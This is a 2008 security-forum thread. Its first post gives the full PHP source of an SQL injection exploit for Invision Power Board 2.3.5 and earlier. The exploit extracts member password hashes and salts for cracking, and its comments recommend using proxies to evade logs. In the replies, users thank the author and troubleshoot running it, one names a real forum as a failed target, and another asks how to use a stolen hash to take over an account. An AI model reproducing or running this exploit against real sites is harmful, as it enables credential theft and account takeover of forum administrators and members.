 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 |
IPB <= 2.3.5 sql injection exploit (new version 1.2) |
 |
 Posted: Wed Sep 24, 2008 12:08 pm |
 |
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
 |
|
 |
|
Here it is as promised - new version. It's supporting multiple target ID-s, log format is compatible with passwordspro (easy to copy-paste).
Known problems: salts, containing colon (:), are problematic and needs to be handled manually. It's because passwordspro is using colon as separator between fields :)
Anyway - feedback is welcome ...
| Code: |
<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB <= 2.3.5 sql injection exploit
// Version 1.2
// written by Janek Vind "waraxe"
// Estonia, Tartu
// http://www.waraxe.us/
// 24. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. can work with multiple ID-s
// 6. log format compatible with passwordspro
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$url = 'http://localhost/ipb.2.3.5/';
$id_start = 1;// starting user ID, default value "1" is admin's ID
$id_end = 10;// ending user ID
$prefix = 'ibf_';// IPB table prefix, default is "ibf_"
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = './ipblog.txt';// Log file
//======================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
//=====================================================================
///////////////////////////////////////////////////////////////////////
if(!extension_loaded('curl'))
{
if(!dl('php_curl.dll'))
{
die("Curl extension not loaded!\n Fatal exit ...\n");
}
else
{
echo "Curl loading success\n";
}
}
//=====================================================================
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
if(!isset($_REQUEST['wtf-is-cli']))
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Warning!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "Still, you can try to run it from webserver.<br />\n";
echo "Just press the button below and prepare for long waiting<br />\n";
echo "And learn to use php CLI next time, please ...<br />\n";
echo "<form method=\"get\">\n";
echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
echo "</form>\n";
echo "</center></body></html>\n";
exit;
}
else
{
// Let's try to maximize our chances without CLI
@set_time_limit(0);
}
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("Target: $url");
for($i = $id_start; $i <= $id_end; $i ++)
{
echo "Testing ID $i\n";
if(!test_target_id($i))
{
echo "ID $i not valid, passing ...\n";
continue;
}
echo "ID $i validated\n";
$hash = get_hash($i);
$salt = get_salt($i);
$line = "$i:$hash:$salt";
add_line($line);
xecho("\n------------------------------------------\n");
xecho("User ID: $i\n");
xecho("Hash: $hash\n");
xecho("Salt: $salt");
xecho("\n------------------------------------------\n");
}
add_line("------------------------------------------");
xecho("\nQuestions and feedback - http://www.waraxe.us/ \n");
die("See ya! :) \n");
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
global $url;
$post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
$buff = trim(make_post($url, $post, '', $url));
if($buff === 'notfound')
{
die('Target is patched? Exiting ...');
}
if($buff !== 'found')
{
die('Invalid response, target URL not valid? Exiting ...');
}
}
//////////////////////////////////////////////////////////////////////
function test_target_id($id)
{
global $url, $prefix;
$post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32';
return test_condition($post);
}
///////////////////////////////////////////////////////////////////////
function get_salt($id)
{
$len = 5;
$out = '';
xecho("Finding salt ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_saltchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current salt: $out \n");
}
xecho("\nFinal salt for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos, $id)
{
global $prefix;
$char = '';
$min = 32;
$max = 128;
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash($id)
{
$len = 32;
$out = '';
xecho("Finding hash ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current hash: $out \n");
}
xecho("\nFinal hash for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos, $id)
{
global $prefix;
$char = '';
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))";
// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);
if($letter)
{
$min = 97;
$max = 102;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url;
$bret = false;
$maxtry = 10;
$try = 1;
$pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
$post = sprintf($pattern, $p);
while(1)
{
$buff = trim(make_post($url, $post, '', $url));
if($buff === 'found')
{
$bret = true;
break;
}
elseif($buff === 'notfound')
{
break;
}
elseif(strpos($buff, '<title>IPS Driver Error</title>') !== false)
{
die("Sql error! Wrong prefix?\nExiting ... ");
}
else
{
xecho("test_condition() - try $try - invalid return value ...\n");
$try ++;
if($try > $maxtry)
{
die("Too many tries - exiting ...\n");
}
else
{
xecho("Trying again - try $try ...\n");
}
}
}
return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
if(!empty($GLOBALS['proxy_ip_port']))
{
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);
if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
}
}
if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}
if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}
if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}
$fc = curl_exec($ch);
curl_close($ch);
return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
global $outfile;
$line .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
if($GLOBALS['cli'])
{
echo "$line";
}
else
{
$line = nl2br(htmlspecialchars($line));
echo "$line";
}
}
//////////////////////////////////////////////////////////////////////
?>
|
|
|
|
|
|
|
|
|
|
| Posted: Wed Sep 24, 2008 12:13 pm |
|
|
| Detrol |
| Beginner |
 |
|
| Joined: Sep 23, 2008 |
| Posts: 4 |
|
|
|
|
|
|
|
Great job!  |
|
|
|
|
| Posted: Wed Sep 24, 2008 2:51 pm |
|
|
| martin1 |
| Regular user |
|
|
| Joined: Sep 21, 2008 |
| Posts: 17 |
|
|
|
|
|
|
|
Nice one just what ive been waiting for !!   |
|
|
|
|
| Posted: Thu Sep 25, 2008 11:58 am |
|
|
| T0x1Cw4St3 |
| Regular user |
|
|
| Joined: Aug 15, 2008 |
| Posts: 17 |
|
|
|
|
|
|
|
Yay! ive been waiting for this.
Thanks a bunch, Waraxe 
EDIT:
Still getting the error with every forum  |
|
|
|
|
| Posted: Fri Sep 26, 2008 2:37 pm |
|
|
| martin1 |
| Regular user |
|
|
| Joined: Sep 21, 2008 |
| Posts: 17 |
|
|
|
|
|
|
|
if your gettin the error with forums your testing they have probs patched it !! red in this section there is a part on how to tell if it hasnt been patched.  |
|
|
|
|
| Posted: Sun Oct 05, 2008 3:45 pm |
|
|
| BaH |
| Regular user |
 |
|
| Joined: Oct 05, 2008 |
| Posts: 7 |
| Location: stPeterburg |
|
|
|
|
|
|
PHP Warning: PHP Startup: curl: Unable to initialize module
Module compiled with module API=20001222, debug=0, thread-safety=1
PHP compiled with module API=20060613, debug=0, thread-safety=1
These options need to match
in Unknown on line 0
PHP Warning: dl(): curl: Unable to initialize module
Module compiled with module API=20001222, debug=0, thread-safety=1
PHP compiled with module API=20060613, debug=0, thread-safety=1
These options need to match
in C:\ipb.php on line 44
Curl extension not loaded!
Fatal exit ...
-------------------------------
Anyone know how to fix this trouble?! Thank`s! |
|
|
|
|
|
|
|
|
| Posted: Sun Oct 05, 2008 4:35 pm |
|
|
| juicy |
| Regular user |
|
|
| Joined: Oct 01, 2008 |
| Posts: 10 |
|
|
|
|
|
|
|
I think you need a newer version of the CURL extenstion.
You can find infos here http://curl.haxx.se/libcurl/php/
Alternative way to crack your problem is to download new php package that includes curl (every since 4.0.2) and install it.
cheerz |
|
|
|
|
| Posted: Sun Oct 05, 2008 6:34 pm |
|
|
| BaH |
| Regular user |
|
|
| Joined: Oct 05, 2008 |
| Posts: 7 |
| Location: stPeterburg |
|
|
|
|
|
|
|
|
|
|
| Posted: Sun Oct 05, 2008 10:08 pm |
|
|
| juicy |
| Regular user |
|
|
| Joined: Oct 01, 2008 |
| Posts: 10 |
|
|
|
|
|
|
|
open your php.ini file in the php directory and look in the extensions section
for a line like this
| Quote: | | extension=php_curl.dll |
probably it's commented with a leading ;
if this is the case, uncomment it and restart the webserver.
if you have no php_curl.dll entry in the extensions section of your php.ini file, add it and restart the server. |
|
|
|
|
| Posted: Sun Oct 05, 2008 11:22 pm |
|
|
| BaH |
| Regular user |
|
|
| Joined: Oct 05, 2008 |
| Posts: 7 |
| Location: stPeterburg |
|
|
|
|
|
|
Thanks! Works! All as to a line extension=php_curl.dll in dynamic extension
section, I have acquired from the very beginning! The problem was in an
installation correctness php, to be exact its modules! Once again thanks you!
 |
|
|
|
|
| Posted: Sun Oct 05, 2008 11:46 pm |
|
|
| juicy |
| Regular user |
|
|
| Joined: Oct 01, 2008 |
| Posts: 10 |
|
|
|
|
|
|
|
| you're welcome |
|
|
|
|
| Posted: Mon Oct 06, 2008 1:55 pm |
|
|
| cowcanfly |
| Beginner |
|
|
| Joined: Oct 06, 2008 |
| Posts: 1 |
|
|
|
|
|
|
|
I can't use exploit...
Target: xxxxxxx
Sql table prefix: ibf_
Testing target URL ...
Target is patched? Exiting ...
All time... For example http://forum.akado.ru
Help me plz  |
|
|
|
|
| Posted: Mon Oct 06, 2008 9:54 pm |
|
|
| SnIpEr |
| Active user |
 |
|
| Joined: Sep 25, 2008 |
| Posts: 37 |
|
|
|
|
|
|
|
| Obviously it won't work. Try a different board. U can't win them all, sadly... |
|
|
|
|
| Posted: Tue Oct 07, 2008 6:19 pm |
|
|
| imzie |
| Regular user |
|
|
| Joined: Oct 07, 2008 |
| Posts: 15 |
|
|
|
|
|
|
|
tq for this..but i have 1 problem
i can take hash
Current hash: 96fc104312709828d6f46b5f0d56d4ef
Final hash: 96fc104312709828d6f46b5f0d56d4ef
bla22
but after i put at "index.php?act=Reg&CODE=lostpassform
hash no funcition ...
error : Sorry, the Validation Key is incorrect for this member. Please check the URL or the data you entered into the form. If the error persists, please contact a member of staff to assist you. If this validation isn't recent, it's possible your old account has been removed.
how to settel this prob.... sry bad eng  |
|
|
|
|
| Posted: Mon Oct 13, 2008 3:33 am |
|
|
| Javv |
| Beginner |
|
|
| Joined: Oct 13, 2008 |
| Posts: 1 |
|
|
|
|
|
|
|
| hello friends and maybe make the injection, but want to open the file. php and edit it does, I get that can not be opened, and change the extension in php.ini, does not know if something wrong or that I run out of greetings |
|
|
|
|
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 6
Goto page 1, 2, 3, 4, 5, 6Next
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 214
Members: 0
Total: 214
